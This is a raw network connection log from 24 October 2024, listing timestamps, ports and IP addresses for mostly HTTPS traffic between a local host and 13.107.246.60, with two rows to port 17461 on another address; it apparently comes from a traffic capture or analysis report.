Oct 24, 2024 08:51:15.181056023 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.188613892 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.188738108 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.188788891 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.188838005 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.188894987 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.219772100 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.219772100 CEST	49910	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.219818115 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.219835043 CEST	443	49910	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.221020937 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.221020937 CEST	49913	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.221059084 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.221076965 CEST	443	49913	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.223779917 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.223809958 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.223828077 CEST	49912	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.223834991 CEST	443	49912	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.224709988 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.224730015 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.224741936 CEST	49909	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.224747896 CEST	443	49909	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.225492001 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.225496054 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.225522041 CEST	49911	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.225526094 CEST	443	49911	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.691625118 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.691644907 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.691695929 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.691695929 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.691781998 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.692271948 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.692272902 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.692306995 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.692351103 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.692373991 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.692394972 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.692442894 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.692770958 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.692779064 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.692827940 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.693061113 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.693073988 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.693160057 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.693180084 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.693202019 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.693212986 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.693250895 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.693259001 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:15.693342924 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:15.693355083 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.426855087 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.427797079 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.427831888 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.428430080 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.428435087 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.428489923 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.428831100 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.428863049 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.429241896 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.429248095 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.430784941 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.431056023 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.431085110 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.431447029 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.431452990 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.437347889 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.439502954 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.439517975 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.439989090 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.439996004 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.443974972 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.444344044 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.444369078 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.444771051 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.444783926 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.557373047 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.557571888 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.557775974 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.557914972 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.557936907 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.557950020 CEST	49916	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.557955980 CEST	443	49916	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.560314894 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.560386896 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.560446024 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.564243078 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.564271927 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.564290047 CEST	49915	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.564296007 CEST	443	49915	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.566909075 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.567594051 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.567648888 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.567687035 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.567734003 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.567884922 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.567914009 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.567982912 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.568335056 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.568423033 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.568425894 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.568434000 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.568451881 CEST	49917	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.568455935 CEST	443	49917	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.568490028 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.569829941 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.569840908 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.571082115 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.571120024 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.571185112 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.571279049 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.571305990 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.571319103 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.571330070 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.571336985 CEST	49918	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.571343899 CEST	443	49918	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.573016882 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.573046923 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.573122025 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.579062939 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.579082966 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.580167055 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.580231905 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.580301046 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.580447912 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.580465078 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.580478907 CEST	49914	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.580486059 CEST	443	49914	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.580565929 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.580590963 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.580646992 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.580807924 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.580816984 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.582838058 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.582854033 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:16.582943916 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.583060980 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:16.583072901 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.030122042 CEST	49769	17461	192.168.2.4	3.67.15.169
Oct 24, 2024 08:51:17.035641909 CEST	17461	49769	3.67.15.169	192.168.2.4
Oct 24, 2024 08:51:17.302640915 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.303379059 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.303426027 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.303888083 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.303900003 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.306278944 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.306689024 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.306718111 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.307239056 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.307243109 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.319864035 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.320368052 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.320445061 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.320849895 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.320864916 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.323513031 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.323942900 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.327809095 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.327853918 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.328278065 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.328289986 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.328697920 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.328710079 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.329097986 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.329101086 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.433845997 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.434014082 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.434287071 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.434632063 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.434708118 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.434772968 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.434801102 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.434834003 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.434892893 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.436069012 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.436099052 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.436105967 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.436134100 CEST	49919	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.436148882 CEST	443	49919	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.436153889 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.436189890 CEST	49920	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.436207056 CEST	443	49920	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.439300060 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.439340115 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.439363003 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.439419031 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.439450979 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.439488888 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.439630985 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.439637899 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.439640045 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.439660072 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.449613094 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.449764013 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.449847937 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.451674938 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.451674938 CEST	49923	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.451689005 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.451697111 CEST	443	49923	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.453732014 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.453743935 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.453819990 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.453948021 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.453958988 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.454691887 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.454860926 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.454930067 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.454967976 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.454967976 CEST	49922	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.454988003 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.455008984 CEST	443	49922	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.456187963 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.456255913 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.456316948 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.456356049 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.456384897 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.456442118 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.456469059 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.456469059 CEST	49921	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.456485033 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.456505060 CEST	443	49921	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.456949949 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.456973076 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.457050085 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.457195997 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.457221985 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.458404064 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.458492994 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:17.458580971 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.458715916 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:17.458751917 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.175235987 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.178036928 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.191011906 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.200730085 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.205631018 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.216363907 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.218830109 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.246758938 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.246772051 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.250703096 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.322395086 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.322427988 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.322957039 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.322963953 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.323321104 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.323327065 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.325217009 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.325223923 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.325514078 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.325544119 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.325850964 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.325875998 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.325965881 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.325975895 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.326222897 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.326232910 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.326261997 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.326277018 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.326613903 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.326620102 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.450337887 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.450428009 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.450536013 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.451678038 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.451961040 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.451988935 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.452001095 CEST	49924	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.452007055 CEST	443	49924	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.452091932 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.452152967 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.452207088 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.452210903 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.452233076 CEST	49926	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.452236891 CEST	443	49926	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.452243090 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.452299118 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.452347040 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.452979088 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.453005075 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.453022003 CEST	49927	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.453030109 CEST	443	49927	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.453216076 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.453314066 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.453366041 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.453763962 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.453772068 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.453800917 CEST	49925	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.453804970 CEST	443	49925	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.456104994 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456151962 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.456167936 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456197977 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.456201077 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.456227064 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456268072 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456357956 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.456408024 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456455946 CEST	49929	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456473112 CEST	443	49929	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.456582069 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456588984 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.456625938 CEST	49928	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.456630945 CEST	443	49928	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.457747936 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.457756042 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.457808971 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.457926989 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.457935095 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.458024025 CEST	49930	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.458033085 CEST	443	49930	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.458545923 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.458579063 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.458633900 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.458812952 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.458815098 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.458825111 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.458848953 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:18.458925962 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.459012985 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:18.459022999 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.177002907 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.177608967 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.177643061 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.178225994 CEST	49932	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.178234100 CEST	443	49932	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.190042019 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.190521955 CEST	49931	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.190567017 CEST	443	49931	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.190618992 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.190870047 CEST	49933	443	192.168.2.4	13.107.246.60
Oct 24, 2024 08:51:19.190896034 CEST	443	49933	13.107.246.60	192.168.2.4
Oct 24, 2024 08:51:19.191098928 CEST	49931	443	192.168.2.4	13.107.246.60
